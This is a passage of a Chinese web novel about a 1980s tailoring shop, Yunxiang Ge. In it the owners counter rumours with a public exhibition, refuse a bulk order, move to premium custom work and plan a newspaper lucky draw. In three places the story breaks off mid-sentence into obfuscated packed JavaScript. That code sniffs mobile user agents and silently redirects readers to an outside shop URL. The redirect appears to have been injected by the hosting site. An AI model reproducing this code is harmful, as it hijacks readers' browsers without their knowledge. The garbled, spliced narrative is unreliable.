“我也是听说的啊，说什么你们用的不是好布，是残次品，以次充好。” 她压低声音:“我还听说，你们给副市长千金做的礼服就是如此，故意抬高价格卖出去。” 林知许一脸愤懑:“这话简直就是无稽之谈。” “这我不太清楚，林师傅，我怀疑是有人存心看不到你好。” 林知许缓口气:“谢谢啊，我们会多加注意的。” 一上午，林知许有些心不在焉。 果然，中午就有客人来问：“林师傅，你们这料子当真是好的吗，” 林知许拿出样品，耐心解释道:“我们的料子绝对是好，都是从苏州进过来的，还留有进货单，您可以上手摸摸，看我说的是真是假。” 客人上手摸了摸，又仔细看了几眼进货单，安心回了句:“我就说，你们不能够干那不厚道的事情。” 林知许微微点头:“感谢信任。” 但谣言起容易，连根拔起难。 下午，李晓芸匆匆赶来，脸色不好看：“林师傅，你是不是也听说了那些话？” 林知许语气平和:“今天早上刚听说的。” 李晓芸咬着嘴唇:“抱歉，可能是我好心帮了倒忙，要不我和我爸爸说说，让他去查查。” 林知许摆手，“这件事还是别麻烦副市长了，而且查也很难找到源头。” “那你打算怎么办啊？” “清者自清，我们自有法子应对，你只管放宽心。”林知许安慰道。 19. 第 19 章 果不其然，接下来的几人，订单量明显下降。一些老主顾还是愿意选择相信云想阁，但很多新来的客人一直摇摆不定，一会说要订一会又匆匆取消。 麻烦一茬接一茬，之前谈好的团队项目，电话通知临时取消。 苏念初听说后，气的后仰大喊:“真是耗子不上树，烂泥扶不上墙。” “好了好了，苏小姐。”林知许憋着笑，扶着她的腰。 “你老一激动也不怕闪着。” “一看就是那几个人干的呗，我真的是……” “好了好了，我们想想对策吧。” 兵来将挡水来土掩。 —— 下午，林知许关店歇业半天。 林知许召集大家到二楼开了一个简短的会议。 五分钟后，六个人聚在二楼。 “相信大家多多少少都听到了些言论，在这之前我也遇到过这些的问题。我想听听你们的想法。” 春桃气愤，心直口快:“简直就是胡说八道，我们的料子都是好的，简直就是睁眼瞎。我真的……” “光我们自己人懂，没有说服力，我想我们得有个新法子，让大家都能知道我们是真的好。” “好了，接下来我想和大家说说我的想法。大家或许都还记得我们之间做过的那件‘清韵’旗袍。” 小芳:林师傅出品，必然是精品。 春桃:那件旗袍真的好美。 秀秀附和:是啊是啊…… 赵建国:属实佩服。 “我们看得见的品质，应该让客人也知晓。所以——” 苏念初很快明白，接下话茬:“所以我们可以班一个店内展。” 林知许点点头，看向她:“没错。” 办展览的话，场地怎么办，什么时候办，什么样的形式？ 林知许在黑板上草草写下了几笔: 本周日，全天开放。 “清韵”旗袍展 从面料到工艺，全方位展示。 欢迎咨询和监察。 “全部都公开的话，要是被抄走了怎么办？”小芳问道。 “技艺发展至今，都是一步步过来的。好的作品经得起考验，我们的核心理念，人家抄不走。” “我们内心坦荡荡，客人才会买的放心，谣言才会不攻自破。” “没错，他们要真能抄走，就不会用这些下三滥的手段了。”苏念初回应道。 会议进行到最后一项，任务安排。 秀秀负责展示面料，进货样品都全方面展示。春桃，负责海报。赵建国，负责调试设备，方便演示。小芳，负责招待客人。林知许和苏念初，负责讲解。 “这一次——” “我们势在必行!” 主动破局，无所畏惧。 —— 距离周日仅剩三天，云想阁将过往的单子全都收尾，暂时不再接触新单子。 春桃根据林知许的描述，画了四张海报。 第一张:云想阁的前世今生，从上海滩到南城两层楼阁。 第二张:布料精简图 第三张:从设计到成品 第四张:工艺细节，几种典型针法 秀秀归整各种面料样品，一一做好标签讲解。 赵建国把缝纫机、锁边机、熨烫台全部检修一遍，调至最佳状态。他甚至做了个小展板，介绍不同缝纫针的用途。 林知许整理自己的设计稿，从初稿到成品稿。 一件衣服平衡美观与实用，又符合客人所思所想，全都标注记录。 苏念初和小芳负责布置场地，将一楼划分专门的参观分区。 准备了一些茶点，还有自制桂花糖。 —— 周日一早，云想阁门口贴出海报：云想阁“清韵”旗袍展。 八点刚开门，就有一堆好奇的街坊邻居凑过来。 接近中午的时候，来的人站满了一楼。 林知许站在楼梯上，跟大家简单介绍云想阁的理念。 下台阶，给大家演示了几种针法。 苏念初拿着喇叭主持:“有没有想来体验一下量体的，我们可以送到一件定制衣裳。” 在场的人一听送东西，纷纷报名。 报名人数过多，苏念初又拿起喇叭喊:“哎呀，我们也很想让每一个想来的人都能够获得一件定制衣裳。但我们店小，要生活的，还望海涵。接下来，我将抽取三人上台。” 苏念初找了几种体型不同的人上台:“那个大高个，又壮实的，你来。” “还有那个瘦小的小妹，上来吧” “最后一个，选谁好呢？” 她目光扫视全场，一群人在喊:我我我 最终锁定在一个不太自信，目光躲闪的女孩子身上:“那个穿着灰衣服的站最后一排的小姑娘吧，可以上台吗？” 小姑娘楞了一下，一点点从人群中走过。 “好了，那我们本次的抽奖环节就结束了，以后我们来日方长。” 开展第二个环节——选料。 客人亲手触摸不同的面料。 春夏秋冬的适合的面料，应有尽有。 大家有什么不懂的，秀秀在一旁耐心解释。 裁剪，缝制环节，秀秀裁剪，赵建国演示缝纫机操作，春桃缝制盘扣。 从质疑到认可，就在那短短的几十分钟。 台上一分钟，台下十年功。 这句话，用在技艺人的身上不足为过。 最是牵动人心的，林知许现挂环节。 在一众参观的人中，她一眼注意到一位女人穿着不合身的旗袍。 林知许小心询问意见，得到肯定答案。 她现场演示简单的缝改过程，半小时，针法又稳又快，一件不合身的旗袍变动又合身又有特色。 “真是好厉害啊”，客人换回旗袍后，对着镜子左顾右看，“完全就是一件新的一样。” “感谢信任”，林知许转向人群，“希望大家看到我们的演示后，可以多多支持。” 大家都在叫好，人群里一位中年男人突然开口打破了和谐。 “林师傅，你们说好就是好的吗？我们都是外行，哪里分得清，还不是你说什么就是什么？” 又有几人合伙附和 “就是啊，欺负我们不懂吧” “什么东西不能造假啊” “你们大家不要被骗了，他们肯定没这么好……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908310|192414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >林知许招呼秀秀去了一趟仓库，取了两块外观相似的绸缎。 她拿着手电筒从不同的角度照，“首先，我们可以看两块的光泽是完全不一样的。” “看不出很大差别的，我们不急，可以上手摸。仿制品它只能仿滑，没有筋骨，缺失内核。” 最直观的妙招，她不慌不忙的展示。 剪一小块边角料，烧。 正品缎烧起来，就像是头发烧焦的味道。 仿的是化纤，烧起来有塑料味。 林知许将布料撕成片分发给到在场感兴趣的。 当场就有几个人试验，结果一目了然。 几个文化起哄的人，眼见形式不对劲，早就从人群里溜走。 小芳吐槽道:“那几人，我见过。他们是钱家的员工，之前来谈合作的时候远远见过几回。” “没事，他们来就来吧，正好让他们看看，我们云想阁的实力。” 下午人来得更是多，李晓芸连带之前的老主顾——云想阁第一批客人纷纷过来捧场。 李晓芸心直口快:“我婚礼的礼服就是林师傅和苏师傅做的，就是好。有些人，就喜欢背后玩阴的，不愧是老鼠。真没意思……” 这话说得响亮，周围人都听见了。 开放日从早上八点开到晚上七点，接待了好几批客人。 结束时，所有人都累得说不出话，相视一笑。 效果立竿见影 —— 第二天，客流量回升了，而且多是看了展览来的新客人。 “林师傅，之前来的人多一直没机会当面跟你说道。你家这个手艺真是不错，我之前还一直愁我家闺女的礼服上哪里定，可不看了你家的，我就不犯难了，我闺女也说就要你家的。” 那位中年妇女嘴里念叨着不停，林知许跟着点头。 “真是太谢谢你们了，改天你闺女来我们店里我们一定好好招待。我们还可以给你设计一套好看的衣裳，婚礼穿，你看如何？” 她拍手，那响声让在场的林知许楞了一下:“好啊，改天我一定带着我闺女来。” 第三天，百货公司的主任亲自登门拜访。 “我就不跟你绕弯子了，那天的展览我看了，你们做的衣服确实是实心的。” 她从公文包里拿出一份文件:“之前我们见谣言四起，实在是怕出了乱子。如今看来，是我们多虑了。我们开会决定，还是想和你们合作，不知道你们怎么想？” 林知许接过合同，看了一眼，这次的订单加到了三十单。 他们六个人就是不眠不休也要做上半个月，这单子实在是有些为难。 林知许没有当即答应:“这单子量有些大，我们也需要商议，还望谅解。” 主任开口:“确实任务重，那这样你们先考虑着，最好三天内给我答复。” 林知许笑着答应 送主任到门口。 —— 谣言风波短暂结束，这次她们又一次重获希望。 她们的一次新举动，展现的是自己的真心，得到的是更多的信任。 好活不怕百锤，真金不怕火炼。 在时代的号召力下，她们会走得更远更久，那些未曾完成的梦会继续完成。 20. 第 20 章 晚上开会时，林知许对大家说：“这次的展览，我们办的很成功。” 苏念初拿出事先备好的红包，“大家都辛苦了，这是我和林师傅的一点心意。” 这红包用是是红色的布料，上面绣的是云想阁的云纹。 气氛刚缓和一些，林知许正经的说出了后话:“但是——” “我们还未真的成功，我们不能松懈。这次是造谣，下次可能就是别的。我们能做的，就是做的更好，让任何攻击都是无稽之谈。” 她语气缓和:“接下来，我想进行一个新的规则。我们的工艺刚进行展示过，难免会有人加以仿冒。” “所以——” “从下个月开始，每一件我们云想阁出去的衣服，都有它的独立编号，记录的内容包含每一个环节的经办人，还有用的料子。客人有什么问题的话，看到编号内容就会明白。” “还有最重要的一点，每一个编号信息，我们都要留存一份在自己的手里，以备不时之需。” 苏念初接着介绍:“光是我们自己做防备还不够，我想我们还需要调动客户的积极性，大家一起来参与。” “怎么个参与法子？”春桃率先问道 “这个问题问的不错，我想我们做衣服的话，单买肯定不够。我们可以设立一些奖，客人提供建议，我们就给予一定的礼品。” “没错，我们不怕有问题，我们就怕没有问题。” 秀秀举手:“那我们是不是也可以来一个小组互相检查，自省和互相监督。” 林知许点头:“休息说到点上去了，那这样每周我们都开一个学习交流会，每个人可以讲讲自己的心路历程或者学习经验之类的。” 春桃平日里积极，这次突然有些犹豫，半天不开口。 林知许走到她旁边，看着她眉头紧锁的模样。 “春桃，那这是害怕犯错嘛？不要紧张，我们都是互相进步的。” 她这时开口:“不是，不是的，林师傅，其实我一直想学正统的画画。设计衣服，我这样的还不够。” 苏念初过来拍了她的肩膀，“哎呀，这个事情就交给我了，你想学习想进步是好事嘛。不过学成以后，可不要忘记我们哦。” “肯定不会的。”春桃用力的点了点头。 赵建国不自觉的摸头，开口：“林师傅，我现在每天都只能做一些基础缝制工作。我也想学裁剪，学很多的知识，以后可能自己独立做衣服。 “没问题，不过得等到下班以后了。你回去和你对象商量一下，下班以后，我教你。” 人心再一次靠拢，一起向前进，就没有跨不过的坎。 会后，苏念初和林知许一同收拾东西。两人站在二楼窗前，看着夜色中的南城。 苏念初轻声说道:“知许，我们走得越来越远了。” “但还不够。” “虽然还有很多关，但我相信我们会越来越好。” 两人看向楼下，底下的三位学徒各自忙碌。 秀秀还在检查明天要用的面料，春桃在画新的设计草图，赵建国在保养缝纫机，小芳在核对订单。 “当年林兰芷也是这样，带着一群人，一点一点的做下来。我们也一定可以的。”林知许不由得心生感慨。 苏念初畅言:“是啊，那个时候，多不容易啊，她们还是坚持了那么久。” “我们也一定可以。” 窗外，南城的夜晚宁静。云想阁的灯亮着，好似这座小城的点点星光。 —— 约定三天时限，最终林知许综合考量，拒绝了百货公司的订单。 目前，店里的单子，都是有期限的，都没法停。 林知许召开了一场紧急会议。 “百货公司的订单，我的想法是回绝。我想听听你们的意见。” 春桃率先发言:“以我们现在的人手，很难完成吧。” 秀秀附和:“是啊，我们平日里不光要接待新客人，还要赶制一起的订单，来不及吧……” 赵建国接话:“这可有不少钱啊，要是不解，我们店的生意就对半砍了。” “我们可以招人打下手，等过段时间不就好了。” 苏念初回应道:“招人，没那么简单，想找到能做成我们这样的成品，也没有几个人。而且我们店里，” 林知许适才开口:“假设我们真的接了这个工作。那代表我们每个人要一直赶工。这个就和我们云想阁是理念不符合，我们想做的一直定制服务。” “一旦我们接了这种单，以后我们就要一直被动着走。我们很难再有精力，去创新，去打造独属于我们的特色。” —— 当年林兰芷也曾有过一笔数量和金钱都十分诱人的订单，她果断回绝。 一件衣服，它做出来就要做到最好。 口碑不是靠数量取得，而是靠品质。 技艺是吃饭的工具，不能丢。 —— 她转向大家，语气诚恳:“我们能走到今天，是大家共同的努力。” 她深深的鞠了一躬，“谢谢” “我想做一个属于我们自己的品牌，这可能是一个理想化的事情。如果大家，有想走的，我也不会强留。” 赵建国回应:“林师傅，我知道有理想是好事，但说句现实的，我们都有家人要养，总不能一家几口喝西北风吧。” 秀秀闷闷不做声，春桃瞪了一眼赵建国:“如果真不想留，就走呗，反正有的人的心就不在这里。” 林知许转而安慰:“这个你们可以放心，我们的工资一定不会不发，转型是有些困难，但我们一定不会让你们饿肚子。” —— 她想起林兰芷的笔记，其中一页: 一日学徒问:为何不接大单，有利可图。吾思量:云想阁之根本，在于质精。量多而不精，如同自毁前程。 —— 今日，林知许再次站在台前，作出同样的应答。 苏念初点头示意:“我们慢慢来嘛，我们开云想阁 一直都是想传承，想长久。” 小芳也用力点头:“对啊，林师傅我不怕吃苦，我们一定可以的。” 秀秀小声回应:“我也支持，因为我很喜欢做衣服，如果有一天客人能穿上我独立做出来的衣服，我会很开心很开……心” 春桃大声回应:“我支持，我来就是想做设计，林师傅，我们一起加油。” 赵建国看看大家，叹了口气，调整语气:“既然大家都这样说了，那我也不能拖后腿，我们一起扛。” —— 第二天，林知许亲自去百货公司找周主任。 周主任听说不签约，脸色不太好看：“林师傅，我们可是很看好你们的，你们当真不再考虑考虑。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908311|192414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林知许深深鞠躬:“抱歉，主任，这个单子不在我们的能力范围之内。如果您担心这个衣服没人可做，我可以给您推荐南城纺织厂。里面的王主任，就是我曾经的领导。他们现在做工装，已经相当成熟。” “可是，我们选你们就是看中你们做事的细致。如果不是亲眼瞧见，我们也不会这么快下定论。” “正因为我们想认真做好每一件衣服，才没法接。” 她语气诚恳:“您要的三十套工装是统一规整的，而我们云想阁想做的是个性化的衣服。简言之，就是符合每个人身形特点的衣服。您的标准化，一家成熟可靠的工厂就可以完成。” 周主任看看林知许真诚的眼睛，脸色缓和了些。 “小姑娘，你确实很有想法，也考虑周到。那我听你的，去联系一下王主任。” 林知许神色自若，语气柔和:“好啊，我可以牵线，你们的要求我一定如实告知。我相信南城纺织厂，希望您也如此。” “居然你都做担保人了，那我就放心了。” 林知许又深深鞠了一躬，“感谢信任，你没事我就先走了。” “等等” 她这声“等等”，听得林知许心头一紧。 林知许转头应答:“您还有什么事情吗？” 她语气缓和:“是这样的，我个人想找你们做件衣服。下个月，我给你结婚，我想穿件好看的旗袍撑撑场面。” 林知许缓了口气:“没问题。” “那就一言为定。”周主任上前和她握手。 “一言为定。” 从百货公司出来，林知许心里承重的你块石头，落下了来。 或许，这就是有舍才有得。 —— 回到店里林知许公布了这一好消息，大家松了口气。 现在，他们有新的路要走，纯手工定制路线。 “既然，我们准备迈开这一步，我们就要从长计议。” 她在黑板上写下关键词:个性化、工艺、限量、定价。 “首先，个性化，我们一直都有在践行，所以不多说。工艺方面，我们要精益求精。限量供应，就是我们接单要考虑数量，不可过多。最后一点，价格方面，我们得上调。” “可是上调价格，那些老主顾会有意见的吧，这个不就是言而无信吗？”春桃不解。 “我们现在要走私人定制，价格方面必然不可能像从前那样。” 林知许张贴了新的价目表，所有的价格都比市场平均水平高了至少百分之二十。 小芳眉头紧锁:“这样真的能行吗？” 苏念初点头:“林师傅说的，我想大家可能还没明白。我们现阶段的任务是定位目标群体，也就是我们的目标客户。” “目标客户？” “那不就是把人分为三六九等吗？有钱的才配买好衣服，是吗？” 林知许耐心解释:“做衣服的店有很多，那些对钱有顾虑的客人他们也不会选择我们店。” “那好吧，那接下来我们应该怎么做？” “我想推出一个新的服务。从量体到成品，客人可选择预约观看实时进度。” “还有我们，还要设立一个专门的档案，记录我们做的衣服。既是记录，也是积累经验的一种方式。” 这规定一出，一家正式的定制服装店，即将诞生。 21. 第 21 章 转型就意味着一个全新的开始，麻烦在所难免。 价格调整，以往的客人和新来的客人都会有顾虑。 第一天来了一位老客人，“林师傅，我在你们店定做了好几套衣服了，你们这样突然涨价是不是不厚道啊？” 林知许耐心解释:“王阿姨，我知道我们突然涨价，您心里肯定不愉快。我想说我们涨价是有原因的，我们现在的面料相比以往更加注重品质，成本方面也有增加。” “那也不应该宰我们这些熟客吧。” “我想说的是我们正在一步步的提升我们的服务和品质，我们做的衣服每一件都会更加有珍藏意义。您想多年后，您再拿出这件衣服出来，发现它还是这样有光彩。是不是会觉得这个钱花的值？” 她拿出两件样衣对比，一件是老工艺做的，一件是新标准做的。 “当然，如果您还是想按照原来的来，我们也可以按原来的，价钱也不会变。这个都看你个人选择。” 王阿姨摸着那件新标准旗袍，确实手感好。 她犹豫片刻思索，最终敲定:“那我愿意试着相信你们，可别让我失望了。” “一定。” 第二个挑战，接踵而至。 第二个挑战来自团队内部。高标准意味着更严格的要求，更慢的节奏，更大的压力。 林知许的要求，比过往的要严得多。 秀秀做一件旗袍的包边，返工了三次。 秀秀第三次拆线时，眼眶红了:“林师傅，我是不是太笨了，这点小事都做不好。” “没事，慢慢来吧”林知许轻声安慰，坐在她身边，手把手教，“你看，针从这里进去，从那里出来，线藏在两层布之间……” 秀秀在林知许的指导下，拿起了针，一步一步来。 林知许在一旁看着，时不时来几句。 “对，就这样。” “我们不着急，一次不行就再来，总能会的。” 春桃的设计图改了十几遍，每次都被林知许否定。 第十九次，林知许耐心指出问题，裙摆设计，腰部装饰不自然。 春桃忍不住理论。 她眼圈泛红，语气急:“可是，画报上都是这样画的，林师傅你为啥要一直否定我啊，我做的就这么不好吗？” “画报上面画的，太过理想化，我们要根据人本身的身体结构来。” 林知许拿过来人体模型，“你看，人体站立的时候，腰最细的地方，不在正中间，你的褶皱要顺着身体曲线，才显身材。你画的这个，好看是好看，不适合客人就是空画。” 春桃趴在桌上改图，改到深夜。 一次次重画，一次次改，渐渐领悟林知许的话。 最终，她敲定了最后一版，得到了林知许的肯定，心满意足的回了家。 赵建国学裁剪，总掌握不好度和量。 林知许给了他一个尺寸，让他反复练习，三种不同的做法。 第一件要求贴身，第二件要求宽松，第三件介于二者之中。 “度和量不是一个固定的数字，只有自己一次次去做，去感受，去想象这件衣服人穿上去会不会紧，走路会不会往下扯。这才能把握住，度和量。” 赵建国做了拆，拆了做，废布料堆了一筐。 当他做出三件不同感受的衣服时，他激动的手舞足蹈:“林师傅，我好像懂那种感觉了，谢谢你。” 第三个挑战，最为紧要，眼下是要找到买家，光衣服好可不行，要找到真正认可手工定制价值的客人。 价格提高后，老客人和新客人都少了不少。不过她坚信，好的作品不怕没有人要。 而且，她就和苏念初商量了策略。 —— 她主动联系了李晓芸。 林知许开门见山:“我来就是想找你帮忙，不知道你愿不愿意？” “哎呀，你还跟我客气什么啊，我们都认识这么久了。” “那我就说了，我们云想阁最近想转型 价格和工艺方面都提高了。” “所以，你是想让我去参观一下吗？还是说，让我带朋友去。” “差不多是这样，我想办一个小型的展览会，邀请一些爱衣服的人士。你看看你能帮忙吗？” 李晓芸眉眼弯弯:“我认识的阿姨都很喜欢漂亮衣服的，你不用担心，这件事包在我身上。” “那下周六下午，我们就在店里办，你不用邀请那么多，十位即可，麻烦了。” “小事啦。” “到时候办成了，我给你做一件独一无二的裙子。” “那我可太期待了。” —— 小型展览会，每一个环节都马虎不得，全员都在有序筹备。 林知许精挑细选了五件样品作为代表。 第一件是“清韵”旗袍，作为镇店之宝。 第二件是李晓芸婚礼上那件旗袍的改良版，作为活招牌。 第三件是一套男士中山装，精工剪裁，暗有设计。 第四件是一条长裙，带有苏绣点缀。 第五件是日常旗袍 ，暗含六处巧妙细节。 秀秀和春桃负责布置场地。她们把一楼工作区临时改成展示区，每件衣服配了详细的工艺说明卡。 赵建国调试了所有灯光，确保每件衣服在最佳光线下展示。他还准备了茶水点心，摆了小圆桌和椅子。 小芳整理了客户案例，比如说以前客人的定制故事，前后对比照片，客人的感谢留言。还有春桃的那本画册，一同展出。 苏念初则负责流程设计。先自由参观，然后林知许讲解工艺，接着是茶歇交流，最后是预约咨询。 周六下午两点，客人陆续到来。十位女士，年龄从三十到五十不等，衣着得体，谈吐优雅。有机关干部家属，有文艺工作者，有大学老师，还有两位是从香港回来探亲的侨胞。 李晓芸作为主持人开场：“各位阿姨、姐姐，今天请大家来，我是想给你们介绍一下云想阁的师傅们。云想阁的手艺，相信大家都在我的婚礼上见过，我想你们来也是因为如此。那我们接下来有请，我们美丽与实力并存的林师傅上台，为我们讲解这几件样品。” 林知许应对自如，语气平和，声音清晰有力。 “首先谢谢给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908312|192414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，百忙之中抽空来看。话不多说，我们来看样品。” 讲解到那件日常旗袍时，她尤为认真:“这件是里面单看最为简单的一件，但我想请大家看看细节。领口，下摆这些位置我们都有设计和改良。” 她一一展示那些藏在细节里的用心。 客人们围上来，仔细看，亲手摸，不断发出赞叹。 “这做工真是不错!” “我在香港的时候，定做的可没这样的。” “这面料用的不错，确实是上心了。” “……” 茶歇时，一位侨胞陈太太拉着林知许问：“林师傅，你们接海外的单子吗？我女儿在美国结婚，想做套中式礼服。那边找不到这么好的手艺。” “接是可以接，就是时间这方面可能会比较长。”林知许说，“我们可以邮寄面料小样，通过信件沟通设计，然后您提供尺寸，最好找当地裁缝量好，每个尺寸都要。” “太好了，你可帮我大忙了。哎呀，真不错……” 另一位是大学美术系的王老师，她对春桃的设计图很感兴趣：“小姑娘，你这线条感很好。但色彩搭配可以更大胆些。我们学校有服装设计讲座，你有空可以来听。” 春桃激动得脸都红了：“谢谢，真可以吗？我真的可以去吗？” “当然，我们大学很欢迎你们这些又有天赋又勤奋肯上进的孩子。 展览会结束时，十位客人中，有六位当场下了订单：三件旗袍，两套礼服，一套西装。 第一次转型后的展览，获得客人的认可最为重要。她们在乎云想阁的设计，说明云想阁又一次重获认可。 送走客人，云想阁里一片欢腾。 “啊啊啊”春桃跳起来，“那个王老师说要邀请我去听课，我可以接着学习更为正规的设计了。 小芳数着订单，“今天我们真的有好多订单啊，看来我们真的成功迈出第一步了。林师傅，我就相信我们能成。” 赵建国摸着那套被客人赞不绝口的西装，喃喃自语：“好的衣服，大概就是这个样子吧，我想……” 秀秀喜极而泣。苏念初拿手帕擦去她眼角的泪，“怎么啦，这是好事啊。” “我就是太开心了。我们可以开始做独一无二的衣服了，我越想越开心。” 林知许看着大家开心的模样，会心一笑。 她知道，这条路不会轻松。客源需要慢慢积累，工艺需要不断提升，团队需要持续成长。但这就是她想要的云想阁，越来越好。 晚上关店后，林知许坐在二楼的工作间。她翻开林晚晴的笔记，在空白页上写下： 【今天，开办了一场展览会，获得了不错的反响。我想，匠心之作，不在多，在精。时代在进步，我们要做引领时代的人。云想之魂，当是如此。】 合上笔记，她望向窗外。南城的夜晚，万家灯火。每一盏灯下，都有一个故事。而云想阁要做的，就是为这些故事，缝制最合适的衣裳。 楼下传来细微的声响，秀秀她们还在练习。灯光透过门缝，温暖地洒在楼梯上。 这条路，散发着云想阁的光，微弱而坚定。 22. 第 22 章 金秋九月，南城已有秋意。 苏念初像往常一样打开店门，却差点被塞进门缝的一沓信件绊倒。 除了几封业务询价单，最上面是一封没有邮戳、直接送来的信，信封上只写着“云想阁负责人亲启”，字迹有些潦草。 她拿着信上楼，将信递给了正在画设计图的林知许。 林知许拆开信，只有薄薄一页纸，她的眉头却始终紧锁。 信里写道:近日，听闻云想阁名声大噪，很会下功夫，具体何方面不清，但想好意提醒。做衣服这一行当，自古以来都是细水长流，代代想成，靠的是真功夫。如此行事高调，恐怕欠妥。还望不要坏了规矩，万事三思而后行。 没有落款。 苏念初凑过来看，“这又是那个王八羔子写的，是钱家的还是那个什么科长。我们就是凭手艺，哪里坏规矩了，又有哪门子规矩。” 林知许起身，望向窗外。 “我想可能还有别人”她缓缓道，“毕竟我们这几个月干了不少事情，从拒绝服装厂的合作到攻破谣言，再到如今的转型，都干的不错。人心难测啊……” “那我们总不能忍气吞声，顺他们的意，让自己不舒坦吧，你是能抗，我可不想，我受不了。” “不，我们才不坐以待毙。” 林知许眼神透亮:“他们觉得我们坏了规矩，那我们就做大，摆到明面上，让他们知道，他们的规矩算不得数。” “你又有什么点子，快快如实招来。” 从前，她就一直爱好各种盲盒。不过，盲盒在八十年代还是陌生的代名词，但她一直想试试，这也是一个机会。 “我想举办一个盲盒活动。” “怎么办？” “我们联系南城最权威的媒体登报。” “你是说《南城日报》？” “没错，我想借助媒体的力量打一个正经的广告，面向南城征集幸运顾客的活动。” 苏念初满脑子，都是信息爆炸时代的夸张语录。 重磅消息，重磅消息，本次将迎来免费抽奖活动，参与者有机会获得精美奖品一份。 最难忘的还是那个pdd界面，一打开，全是薅羊毛。 “是我想的那样吗？” “不是，我们不是买东西。我们要弄一个全新的策划，推出十个名额，以盲盒抽奖的形式，赠送给参与的市民，进一步打开知名度。” 她走到小黑板前，拿起粉笔：“活动要有个名，就叫云想阁金秋送爽——征集十位幸运顾客。” 小芳刚上楼就听到这句，惊呼出声:“盲盒抽奖，好稀奇的样子。” 林知许耐心谈论:“我们要想做大做强，就必须让更多的人知道。我们就是要让全南城的人都知道，我们云想阁的实力与格局。而登报，是目前我们最快打开知名度方式。” 十个免费名额，背后是十个鲜活的人，有着自己的故事。 她顿了顿目光扫过苏念初和闻声上来的秀秀、春桃、赵建国：“我们要把事情做得光明正大，规则清清楚楚，过程公开透明。让所有人在报纸上看得见，让想挑刺的人，无处下嘴。” 这个计划，明明确确，清清楚楚，但压力未知，变化莫测。 林知许下定决心要干的，那便一定会干。 当天下午，她去了一趟《南城日报》社。 好巧不巧，接待她的正式上次写过报道的李晓芸表哥——李文军记者。 “林知许同志，你很有想法啊。”李文军看着林知许手写的活动方案，“在报纸上搞抽奖，还是免费定制衣服，以前确实没有过。这不算有奖销售吧？” “李记者，这绝不是有奖销售。”林知许认真解释，“我们一不要求任何消费，二不推销任何具体商品。我们注重的是工艺体验的公开征集和回馈。目的是让市民了解‘服装定制’这门传统手艺的现代魅力。我们愿意把整个流程公开，接受监督。” 李文军琢磨了一会儿，又请示了领导。最终，报社认为这属于文化生活和商业服务的创新结合，且有副市长千金婚礼报道的正面基础，同意刊登。 但要求措辞必须严谨，规则绝对清晰，且云想阁需承担所有责任。 价格不菲，按最小版面算，连登三天，也要将近两百元。林知许毫不犹豫，刚拿到手就签了合同。 —— 三天后，《南城日报》中缝偏下的位置，出现了一则醒目的启事： 云想阁诚邀全城见证 云想阁中秋送爽——征集十位幸运顾客 为答谢广大市民厚爱，弘扬传统裁缝技艺，让更多人体会“量体裁衣”的个性化魅力，云想阁特举办本次活动。 活动内容：面向全市，公开抽取十位幸运者。每位幸运者将获得云想阁提供的一次免费高级定制服务，可定制旗袍、西装、礼服或套装一件。 参与方式：即日起七日内，每日上午九时至下午五时，亲临云想阁店面（中山路117号），登记姓名、住址及联系电话即可。无需任何消费。 抽签方式：登记期结束后第三日（十月十五日）下午二时，于云想阁店门口公开抽签。将邀请社区代表、已登记顾客代表现场监督，抽签结果当场公布，并于三日内登报告知。 注意事项：…… 本次活动最终解释权归云想阁所有。 启事一出，波澜顿起。 第一个找上门来的，不是顾客，而是钱勇庆。他这次没进门，就在门口，声音不大，却足够让店里人听见：“林师傅，还真的是舍得，登报还送衣服，这赔本的买卖做的全城皆知晓。” 林知许走到门口，语气平和：“钱科长，我这样称呼你是出于礼貌，还希望你莫要多管闲事。 “你这样破坏市场，胡作非为，踩着众人肩膀往上爬，还说我多管闲事。你这个小姑娘，还真是不知天高地厚。” 苏念初闻声赶来，拿着扫帚把他赶出了二里地。 “我呸，什么玩意，下次再来我就不会这么客气了。” 这只是一个开始，接下来的几天，一些风言风语灌满同行。 有说是云想阁扰乱市场的，也说是动机不纯的…… 但与此同时，来自市民的反应却截然不同。 登报当天上午九点，云想阁门口就来了人。起初是三三两两，抱着好奇和试试看的心态。到了下午，竟排起了小小的队伍。有看到报纸的家庭主妇，有附近单位的职工，有年轻的学生，也有被儿女撺掇来的老人。他们拿着报纸，指着那则启事，脸上带着惊喜和不确定：“真的不要钱？登记一下就行？” 秀秀和春桃在门口摆了张桌子负责登记。赵建国维持秩序。林知许和苏念初在店里，随时准备应对询问。小芳则忙着端茶倒水。 苏念初特意嘱咐过:凡是来登记的，无论做不做衣服，都是客，都要递上一杯水。 队伍里，人们交头接耳： “云想阁，这名字我好像老听人念叨。” 